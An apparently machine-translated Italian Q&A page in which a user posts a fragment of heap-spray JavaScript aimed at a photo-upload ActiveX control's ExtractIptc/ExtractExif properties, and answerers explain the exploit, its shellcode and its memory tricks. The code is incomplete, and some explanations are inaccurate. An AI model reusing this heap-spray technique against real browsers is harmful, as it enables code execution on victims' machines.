2009-03-16 13 views
6

Non capisco questo frammento di codice:Non capisco questo codice

function ms(){ 
    var plc=unescape('". 
    unescape('\x43\x43\x43\x43\n.............\xEF'. $URL).CollectGarbage(); 
    if (mf)return(0); 
    mf=1; 
    var hsta=0x0c0c0c0c,hbs=0x100000,pl=plc.length*2,sss=hbs-(pl+0x38); 
    var ss=gss(addr(hsta),sss),hb=(hsta-hbs)/hbs; 
    for(i=0;i<hb;i++) m[i]=ss+plc; 
    hav(); 
    return(1); 
    } 

Nella funzione di cui sopra che non riesco a capire i tipi di variabili, o capire quello che sta facendo con il hsta variabile, e ciò che è assegnandole:

var hsta=0x0c0c0c0c,hbs=0x100000,pl=plc.length*2,sss=hbs-(pl+0x38); 
var ss=gss(addr(hsta),sss),hb=(hsta-hbs)/hbs; 
for(i=0;i<hb;i++)m[i]=ss+plc; 

anche non riesco a capire questa funzione:

function fb(){ 
    try { 
     var obj=null; 
     obj=cobj('{5C6698D9-7BE4-4122-8EC5-291D84DBD4A0}'); 
     if(obj){ 
      ms(); 
      var buf = addr(0x0c0c0c0c); 
      while (buf.length < 400) buf += buf; 
      buf = buf.substring(0,400); 
      obj.ExtractIptc = buf; 
      obj.ExtractExif = buf; 
      } 
     } catch(e){} 
    return 0; 
    } 

Cosa significa il seguente codice?

cobj('{5C6698D9-7BE4-4122-8EC5-291D84DBD4A0}')

Che tipo di variabile è questo?

var buf = addr(0x0c0c0c0c); 
buf = buf.substring(0,400); 
obj.ExtractIptc = buf; 
obj.ExtractExif = buf; 

Soprattutto, che cosa sta cercando di fare quel frammento di codice?

Qui ci sono alcuni più funzioni:

function hex(num,width){ 
    var digits='ABCDEF'; 
    var hex=digits.substr(num&0xF,1); 
    while(num>0xF){ 
     num=num>>>4; 
     hex=digits.substr(num&0xF,1)+hex; 
     } 
    var width=(width?width:0); 
    while(hex.length<width)hex='0'+hex; 
    return hex; 
} 

function addr(addr){ 
    return unescape('%u'+hex(addr&0xFFFF,4)+'%u'+hex((addr>>16)&0xFFFF,4)); 
    } 

Qualsiasi orientamento sarebbe apprezzato.

+0

Questo non è tutto il PHP.In effetti, solo una piccola montatura sembra PHP. Il resto sembra JavaScript. Inoltre, si prega di fare un lavoro migliore di formattazione del codice - è quasi impossibile da leggere. –

+0

@Peter Bailey: Sì, l'ho risolto per lui. –

+0

Ho modificato la mia risposta con maggiori dettagli per voi. –

risposta

26

Si tratta di uno snippet javascript che tenta di sfruttare una vulnerabilità di sicurezza correlata a Facebook, altri s in particolare per il controllo ActiveX lato client del programma di caricamento delle immagini.

La parte cobj tenta di creare un oggetto di ClassID {5C6698D9-7BE4-4122-8EC5-291D84DBD4A0} che risulta essere un controllo di upload di foto ActiveX. Le funzioni ExtractIptc ed ExtractExif appartengono a quel controllo ActiveX specifico.

Il nucleo del codice è in realtà la manipolazione degli indirizzi di memoria, lo spostamento, l'utilizzo di maschere per separare i bit alti e bassi. Ad esempio, hex((addr>>16)&0xFFFF,4)) prende un indirizzo, lo sposta di 16 bit a destra, cancella la parte inferiore e la converte in un numero esadecimale. Per comprendere la maggior parte di questo codice, dovresti avere gli strumenti di debug corretti.

Googling il {5C6698D9-7BE4-4122-8EC5-291D84DBD4A0} ClassID ha dato alcuni risultati interessanti che si dovrebbe guardare in:

http://www.kb.cert.org/vuls/id/776931

http://seclists.org/fulldisclosure/2008/Feb/0023.html

http://securitytracker.com/alerts/2008/Feb/1019297.html

Si prega di notare, questo non è il PHP. È javascript.

Maggiori dettagli ...

cobj è probabilmente tradotto in una chiamata CreateObject(). Ogni controllo ActiveX registrato ha il proprio ID classe e hanno il formato {0000000000-0000-0000-0000-000000000000}. Quando vuoi fare riferimento alla biblioteca registrata e crearne un'istanza, puoi usare il suo nome o il suo ID di classe.

Il controllo ActiveX stesso deve essere un file .OCX o .DLL sul computer. Se riesci a trovare questo file ed eseguirne il debug, otterrai i dettagli più specifici sulle funzioni ExtractIptc ed ExtractExif. Ancora una volta, queste due funzioni sembrano avere vulnerabilità quando vengono chiamate in un modo specifico, e questo è ciò che lo script sta cercando di sfruttare.

La parte var hsta=0x0c0c0c0c definisce una variabile hsta, uguale al numero esadecimale 0c0c0c0c. È lo stesso di scrivere var hsta = 202116108. Nell'ingegneria del computer, è più facile gestire gli indirizzi esadecimali rispetto ai numeri decimali poiché gli indirizzi e i dati all'interno della memoria del computer sono binari e possono essere rappresentati direttamente come un numero esadecimale. Maggiori dettagli su esadecimali qui: http://en.wikipedia.org/wiki/Hexadecimal.

Il nome variabile hsta sembra essere in notazione ungherese (la prima lettera rappresenta il tipo di variabile - h per esadecimale). Quindi suppongo che significhi indirizzo iniziale esadecimale (hsta). Seguendo la stessa linea di pensiero, la mia ipotesi sarebbe che pl significa payload e plc significa codice payload.

Il codice payload è il codice che il computer eseguirà se l'exploit ha avuto successo ed è ciò che si vede all'inizio dello script (\x43\x43\x43\x43\n....\xEF). È codificato come shell code per una particolare architettura e sistema operativo della CPU. Ciò significa che il codice è già compilato, standalone e può essere collegato direttamente alla CPU. Se decodifichi questo, probabilmente troverai qualcosa vicino al codice macchina. Probabilmente non è niente di positivo.

La funzione hex(num,width) converte un numero decimale nella sua forma esadecimale. Ho testato la funzione separatamente, e ha restituito 3E8 quando l'ho alimentata 1000. La variabile width è semplicemente usata per uscire dallo script se il numero esadecimale risultante è più grande di quanto specificato.

A proposito di questa parte:

var buf = addr(0x0c0c0c0c); 
buf = buf.substring(0,400); 
obj.ExtractIptc = buf; 
obj.ExtractExif = buf; 

La variabile buf è un buffer. Un buffer non è altro che i dati in memoria. Può essere interfacciato come una stringa, come mostrato in questo codice. La mia ipotesi è che un buffer di 400 byte sia creato da qualunque contenuto sia in memoria a 0x0c0c0c0c, e quindi alimentato in due funzioni.

Ci sono diverse definizioni di funzioni mancanti qui. Vale a dire, la funzione hav().

+1

Penso che una domanda rilevante per il nostro OP sia "dove hai preso questo codice?" = X –

+4

giusto ... beh, puoi vedere che il suo nome utente non è innocente. –

+0

Heh ... Buon punto ... –

1

Ho corretto la formattazione il più possibile, ma mancano ancora blocchi. Almeno, vedo errori di sintassi, variabili non inizializzate, ecc.

Se questo è un codice funzionante, per favore modifica la tua domanda e (usando il pulsante "codice" "101/010" o rientra solo di 4 spazi invece di quotare con il tasto '"'), inserire il codice vero e proprio in modo che ciò che vediamo corrisponde a ciò che state vedendo EDIT:. non cercare di eseguire questo codice la sua, probabilmente dannoso

Se non è il codice di lavoro!. , c'è la tua risposta: non funziona, quindi cercare di capire come funziona non ha senso

Problemi correlati